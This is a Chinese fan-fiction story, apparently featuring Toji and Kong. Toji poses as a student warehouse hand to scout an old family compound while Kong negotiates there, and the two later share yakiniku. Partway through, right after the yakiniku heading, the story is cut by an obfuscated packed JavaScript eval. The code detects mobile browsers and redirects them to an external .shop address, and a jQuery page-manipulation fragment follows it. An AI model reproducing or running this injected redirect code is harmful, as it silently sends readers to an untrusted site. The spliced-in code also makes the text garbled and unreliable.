三月底，星期六。早上七点出门，环八往北，路上没什么车。天阴着，头一天下过雨，路面还没干透。出了都内，路两边的房子矮下去，田里有人在烧东西，一片烟斜着往天上爬。
七点五十，车停在离宗方家两条街的邮筒边上。老式的圆筒，红漆褪成了砖色，顶上落着头一天的雨。
甚尔一身旧衣服。洗白了的深色套头衫，牛仔裤，脚上那双运动鞋是磨得最狠的一双，孔挑的，新鞋在那种地方显眼。书包换成了一个布袋子，里头一条毛巾，一个便利店饭团，一瓶茶。
“叫什么。”
“田中广志。”
“家在哪。”
“川口。”
“学校。”
“大宫。放春假。”
答得顺顺当当。第四遍了，跟前三遍一个语速。孔把车熄了火。
“六点半我从这儿过。看不见我就等，别站原地，走两圈。”
“好。”
“中午别跟人凑一块儿吃，人多了还得聊天。”
“嗯。”
甚尔下车，随手带上门。孔在后视镜里看他走进那条街，布袋子挎在肩上，步子不紧不慢。是个脚底下知道去哪儿的人。
看不见了，孔才发动车。
——
宗方家是老宅子，门前一段石板路，扫得一尘不染。宅子修缮得勤，修的都是看得见的地方。廊下的木头新油过，油得发亮。抬头，檐口的瓦有两块颜色不对，是后配的。院子里那口石灯笼缺了一角，缺口发黑，缺了有些年头了，没人管。
当家的叫宗方喜一郎，三十七八岁，人和气，话周到，客气得过分，见面鞠躬比孔深，领着往里走的时候在前头半侧着身子，每过一道门都伸手虚扶一下门框，像怕这宅子在客人面前出错。袖口旧了，磨出一圈毛边，他自己不知道。
引着孔进了茶室。谈的是存货。规模，期限，担保。孔报的量不小，喜一郎手指在膝盖上一下一下点着记数。
喜一郎讲结界的老手艺讲得多了一点。哪一代传下来的，外头的进不去，里头的出不来，几十年没出过错。讲太多了，通常就是别的没得讲。
隔了很久茶才端进来，端茶的是个上了年纪的女人，进出都低着头。孔顺着敞开的纸门往外扫过一眼。账房那间门开着，里头没人，桌上的算盘倒扣着。院子深处在往外搬东西，木箱，用苫布盖着，用的是自家的车，车斗里垫了旧毯子。
喜一郎提了两次“家父在的时候”。一次是说手艺，一次是说客人。孔一次都没接，两次都端了茶。
谈到十一点多，定了下一轮看库房的日子。喜一郎起身的时候提了一句，粗茶淡饭，不嫌弃的话——孔说下回。喜一郎点点头，没再让，脸上那点客气洗掉半分，倒像是松了口气。留饭，加笔人情加笔钱，孔想，这顿饭他省下了。
送到门口，又躬了一次身。石板路扫得干净，扫帚印还在。
——
孔往车那边走。廊下狭窄，木头地板踩上去有一点点空响。迎面过来一个抱纸箱的小子，箱子不小，挡了半张脸。
孔侧身让了一下。
那家伙从他身边过去。没抬第二眼，没让路，没躲，脚步没变。木地板上两个人的脚步声错开半拍，又各走各的了。
孔出了门，上车，点上烟，把这半天在脑子里过了一遍。人手薄，账上紧，东西在往外走，当家的客气得过分。这单核底，核到这答案已经出来一半了，剩下的是拿证据。
最后落在廊下搬着箱子那人身上。
演得挺像。
抽了半根烟，开车走了。
——
库房里的活不难。搬箱子，码箱子，来来去去，按单子对号。账房先生手写的单子，字迹笔画潦草，箱号写在木箱侧面，墨都旧了。箱子分量不一样，有的两手一提就起来了，有的得先蹲下去。木头味，防潮剂味，角落里还有一点旧纸的味。抬手抹汗的时候手背上一层灰。
第三趟他才弄清哪个门是哪个门。库房的门都一个样，认门框上的编号牌，二号馆的牌子钉歪了。
管事的老头指哪儿搬哪儿，话不多。有一个跟他差不多大的，干一会儿歇一会儿，蹲在门口看手机。有人问，你哪儿的。
「田中，大宫那边。」
「学生啊。」
「对。」
说完就完了。不用想第二句。那人也没再问，接着看手机。
中午有半个小时。他拎着布袋子绕到库房背面，蹲在墙根把饭团吃了。墙根晒得到太阳，砖稍微有点烫。
进大门的时候有一道东西，从他身上过去，跟没这个人一样。他回了一下头，走过去了。
今天只记两个出口。孔说的，别当天全走一遍。正门一个，二号馆后头通后巷的小门一个。小门的锁是新换的，锁新，门框上的旧锁眼还在。
下午的活是倒库。一排箱子从东墙挪到西墙，腾地方。管事的老头在单子上一个个划勾，划完一页舔一下拇指翻页。箱子码到第四层就得上凳子，那个看手机的不肯上，他上。凳子腿有一条短，他踩上去先找准了那条腿。
那个穿西装的从廊下过去的时候，他手上正抱着箱子。他没抬头。抬头也没什么可看的。
在这儿不用花力气。以前在外头，得记着自己是谁，什么时候该像什么样，哪句该接哪句不该接。这儿不用。搬东西，应两声，到点走人。
省事。
六点二十收工，管事的老头给他数了工钱，几张票子对折递过来。他收进兜里，没数。完事往邮筒那边走，附近绕了两圈。第二圈走到一半，看见车灯拐过来。
——
六点三十五，开门坐进副驾。车里开着暖气，一天的汗一下子捂出来了。
“怎么样？”
“四个门。进去两个库房，另外两个今天没开。”
“人呢。”
“里头干活的连我五个。管事一个。账房下午来过一趟，待了一会儿走了。”
孔问了几句，答得干净利索。问到第三个库房，甚尔说，锁着，窗户糊了纸。
“饿了？”
“饿了。”
——
蒲田的烧肉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17785891|205738||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
店，巷子里第二家，门口的灯箱缺一根灯管，半边亮半边暗。塑料板隔间，坐垫塌了，抽风的管子从天花板上垂下来，管口对着炉子，吸力很足。玻璃柜里贴着手写的价目，纸都黄了，边上用蓝笔添过两回价。
老板娘认得孔，没打招呼，拿了两份湿毛巾过来，搁下的时候多看了甚尔一眼——上回来还是冬天，这孩子坐下之后隔间显得小了。
タン塩，カルビ，ホルモン（盐烤牛舌，牛肋排，烤内脏），白饭大盛。孔一杯生啤，甚尔乌龙茶，杯壁上一层水珠。
炭火上来，网架上，孔用火钳拨了两下炭。孔烤，甚尔吃。牛舌先上，孔一片片摆开，翻面，夹一块放在甚尔那边的碟子里，回头去夹第二块，第一块已经没了。
孔看了他一眼，接着烤。
“今天看见什么没有。”
甚尔把筷子搁下了一秒。
“二号馆后门的锁是新的，门框上旧锁眼没堵。三号馆锁着，窗户糊纸，这阵子刚糊的，边上的浆糊还发白。院里那辆车，十点来的，两点走的，装了六箱。搬车的时候管事的没让我们碰，他们自己家的人搬的。”
“箱子什么样。”
“跟库房里的不是一批。新箱子，木头发白。”
孔听着，边听边翻肉。肋排的油滴在炭上，火苗蹿了一下，他把肉挪开一点。
转得比他想的顺。
第二轮上来。网子焦了，孔举手让店员换了一张。点第三轮的时候孔拿起菜单看了一下，没说什么，点了。烤内脏加了一份，白饭又是大盛。
“……你今天搬了多少箱子。”
“没数。”
烟从网子上冒起来，被管子吸走。隔壁间的客人在划拳，输的那个是个大嗓门。
“制服量完了。”甚尔说。
“尺码呢？”
“正好的。”
孔嚼着一块牛舌，慢了半拍。
七年校服买过几套，回回买大的。大一号，大两号，店员说会长，果然长。这回店员拿尺子量完，报出来就是那个数，单子上写的就是那个数。
不用留余量了。
孔点点头。“四月一号？”
“对。”
“入学式要家长去吗。”
“说了随意。”
“哦。”
最后一轮肉下去，孔把火钳搁下，喝完了剩的半杯啤酒。甚尔把白饭扒完，碗底刮干净。
孔结账。外面蒲田的夜风带着凉意，烟熏味跟在两个人身上。
——
回家路上没人说话。甚尔靠着窗，路灯一道一道过去，照亮一下车顶棚，又暗下去。
孔在心里排明后天。明天自己去谈第二轮，那小子去库房。第三个库房什么时候能开，得看喜一郎松不松口。不松口也行，糊纸的窗户，纸总有旧的一天。
楼道里的灯响了一下才亮。
“洗澡去。”
“嗯。”
各回各屋。孔洗手，闻见袖子上的烟熏味。这味儿得洗两回才下去。
后天他不去。那家伙自己去。